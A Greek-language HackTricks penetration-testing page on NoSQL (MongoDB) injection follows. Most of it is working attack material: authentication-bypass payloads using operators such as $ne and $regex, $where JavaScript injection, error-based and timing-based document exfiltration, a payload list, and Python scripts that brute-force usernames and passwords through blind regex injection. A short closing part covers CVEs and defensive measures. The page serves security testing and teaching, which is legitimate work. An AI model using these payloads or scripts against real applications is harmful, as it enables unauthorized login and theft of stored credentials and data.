NoSQL injection

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Exploit

Σε PHP μπορείτε να στείλετε ένα Array αλλάζοντας την παράμετρο που αποστέλλεται από parameter=foo σε parameter[arrName]=foo.

Τα exploits βασίζονται στην προσθήκη ενός Operator:

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Basic authentication bypass

Χρήση των τελεστών ανισότητας ($ne) ή μεγαλύτερου ($gt)

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

query = { $where: `this.username == '${username}'` }

Ένας attacker μπορεί να εκμεταλλευτεί αυτό εισάγοντας strings όπως admin' || 'a'=='a, κάνοντας το query να επιστρέψει όλα τα documents ικανοποιώντας την συνθήκη με μια ταυτολογία ('a'=='a'). Αυτό είναι ανάλογο με SQL injection attacks όπου inputs όπως ' or 1=1-- - χρησιμοποιούνται για να χειραγωγήσουν SQL queries. Στο MongoDB, παρόμοιες injections μπορούν να γίνουν χρησιμοποιώντας inputs όπως ' || 1==1//, ' || 1==1%00, ή admin' || 'a'=='a.

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a

Εξαγωγή πληροφοριών μήκους

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

Εξαγωγή data πληροφοριών

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

PHP Arbitrary Function Execution

Χρησιμοποιώντας τον operator $func της βιβλιοθήκης MongoLite (που χρησιμοποιείται από προεπιλογή) ενδέχεται να είναι δυνατή η εκτέλεση μιας αυθαίρετης συνάρτησης όπως στο this report.

"user":{"$func": "var_dump"}

https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png

Λήψη πληροφοριών από διαφορετική συλλογή

Είναι δυνατό να χρησιμοποιηθεί το $lookup για να ληφθούν πληροφορίες από διαφορετική συλλογή. Στο παρακάτω παράδειγμα διαβάζουμε από μια διαφορετική συλλογή με όνομα users και παίρνουμε τα αποτελέσματα όλων των εγγραφών με password που ταιριάζει σε wildcard.

ΣΗΜΕΙΩΣΗ: $lookup και άλλες aggregation functions είναι διαθέσιμες μόνο αν η συνάρτηση aggregate() χρησιμοποιήθηκε για την αναζήτηση αντί των πιο κοινών find() ή findOne() functions.

[
{
"$lookup": {
"from": "users",
"as": "resultado",
"pipeline": [
{
"$match": {
"password": {
"$regex": "^.*"
}
}
}
]
}
}
]

Error-Based Injection

Εισάγετε throw new Error(JSON.stringify(this)) σε μια παράμετρο $where για να exfiltrate full documents μέσω server-side JavaScript errors (απαιτείται η εφαρμογή να leak database errors). Παράδειγμα:

{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }

Αν η εφαρμογή μόνο leaks το πρώτο έγγραφο που αποτυγχάνει, κράτα το dump σταθερό αποκλείοντας έγγραφα που έχεις ήδη ανακτήσει. Η σύγκριση με το τελευταίο leaked _id είναι ένας απλός paginator:

{ "$where": "if (this._id > '66d5ef7d01c52a87f75e739c') { throw new Error(JSON.stringify(this)) }" }

Νικώντας τις προ/μετα συνθήκες σε syntax injection

Όταν η εφαρμογή κατασκευάζει το Mongo φίλτρο ως string πριν το αναλύσει, η syntax injection δεν περιορίζεται πλέον σε ένα μόνο πεδίο και συχνά μπορείτε να ουδετεροποιήσετε τις περιβαλλόμενες συνθήκες.

Στις ενέσεις $where, οι JavaScript truthy values και τα poison null bytes εξακολουθούν να είναι χρήσιμα για να ακυρώσουν τις επακόλουθες ρήτρες:

' || 1 || 'x
' || 1%00

Στην raw JSON filter injection, τα διπλά κλειδιά μπορούν να υπερισχύσουν προηγούμενων περιορισμών σε parsers που ακολουθούν την πολιτική last-key-wins:

// Original filter
{"username":"<input>","role":"user"}

// Injected value of <input>
","username":{"$ne":""},"$comment":"dup-key

// Effective filter on permissive parsers
{"username":"","username":{"$ne":""},"$comment":"dup-key","role":"user"}

Αυτό το κόλπο εξαρτάται από τον parser και εφαρμόζεται μόνο όταν η εφαρμογή συναρμολογεί JSON με string concatenation/interpolation πρώτα. Δεν εφαρμόζεται όταν το backend διατηρεί το query ως δομημένο αντικείμενο από άκρο σε άκρο.

Recent CVEs & Real-World Exploits (2023-2025)

Rocket.Chat μη αυθεντικοποιημένη τυφλή NoSQLi – CVE-2023-28359

Οι εκδόσεις ≤ 6.0.0 εξέθεταν τη μέθοδο Meteor listEmojiCustom που προώθησε ένα αντικείμενο ελεγχόμενο από τον χρήστη selector απευθείας στο find(). Με την έγχυση operators όπως {"$where":"sleep(2000)||true"} ένας μη αυθεντικοποιημένος επιτιθέμενος μπορούσε να δημιουργήσει ένα timing oracle και να εξάγει (exfiltrate) έγγραφα. Το bug διορθώθηκε στην 6.0.1 με έλεγχο του σχήματος του selector και αφαίρεση επικίνδυνων operators.

Mongoose populate().match search injection – CVE-2024-53900 & CVE-2025-23061

Εάν μια εφαρμογή προωθεί αντικείμενα που ελέγχονται από τον επιτιθέμενο στο populate({ match: ... }), ευάλωτες εκδόσεις του Mongoose επιτρέπουν $where-based search injection μέσα στο φίλτρο του populate. Το CVE-2024-53900 κάλυπτε την top-level περίπτωση· το CVE-2025-23061 κάλυπτε μια παράκαμψη όπου το $where ήταν εμφωλευμένο κάτω από operators όπως $or.

// Dangerous: attacker controls the full match object
Post.find().populate({ path: 'author', match: req.query.author });

Χρησιμοποιήστε allow-list και χαρτογραφήστε ρητά τα scalars αντί να προωθείτε ολόκληρο το αντικείμενο request. Το Mongoose υποστηρίζει επίσης το sanitizeFilter για να περιτυλίξει nested operator objects σε $eq, αλλά πρέπει να θεωρείται περισσότερο ως δίχτυ ασφαλείας παρά ως αντικατάσταση της ρητής αντιστοίχισης φίλτρων:

mongoose.set('sanitizeFilter', true);

Post.find().populate({
path: 'author',
match: { email: req.query.email }
});

GraphQL → Mongo filter σύγχυση

Resolvers που προωθούν το args.filter απευθείας στο collection.find() παραμένουν ευάλωτοι:

query users($f:UserFilter){
users(filter:$f){ _id email }
}

# variables
{ "f": { "$ne": {} } }

Μέτρα αντιμετώπισης: αναδρομικά αφαιρέστε κλειδιά που ξεκινούν με $, χαρτογραφήστε ρητά τους επιτρεπόμενους τελεστές, ή επικυρώστε με βιβλιοθήκες schema (Joi, Zod).

Αμυντικό Cheat-Sheet (ενημερωμένο 2025)

  1. Αφαιρέστε ή απορρίψτε κλειδιά που ξεκινούν με $; αν το Express βρίσκεται μπροστά από το Mongo/Mongoose, καθαρίστε req.body, req.query, και req.params πριν φτάσουν στο ORM.
  2. Απενεργοποιήστε το server-side JavaScript σε self-hosted MongoDB (--noscripting ή security.javascriptEnabled: false) ώστε $where και αντίστοιχα JS sinks να μην είναι διαθέσιμα.
  3. Προτιμήστε $expr και typed query builders αντί για $where.
  4. Επικυρώστε τους τύπους δεδομένων νωρίς (Joi/Ajv/Zod) και απαγορεύστε arrays ή objects όπου αναμένονται scalars για να αποφύγετε κόλπα με [$ne].
  5. Για GraphQL, μεταφράστε τα filter arguments μέσω allow-list· μην κάνετε ποτέ spread μη αξιόπιστων objects μέσα σε Mongo/Mongoose filters.

MongoDB Payloads

Λίστα από εδώ

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/index.html)//+%00
' && this.passwordzz.match(/.*/index.html)//+%00
'%20%26%26%20this.password.match(/.*/index.html)//+%00
'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Τυφλό NoSQL Script

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

Brute-force login usernames and passwords από POST login

Αυτό είναι ένα απλό script που μπορείτε να τροποποιήσετε, αλλά τα προηγούμενα tools μπορούν επίσης να κάνουν αυτήν την εργασία.

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]

def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames

for u in get_usernames(""):
get_password(u)

Εργαλεία

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks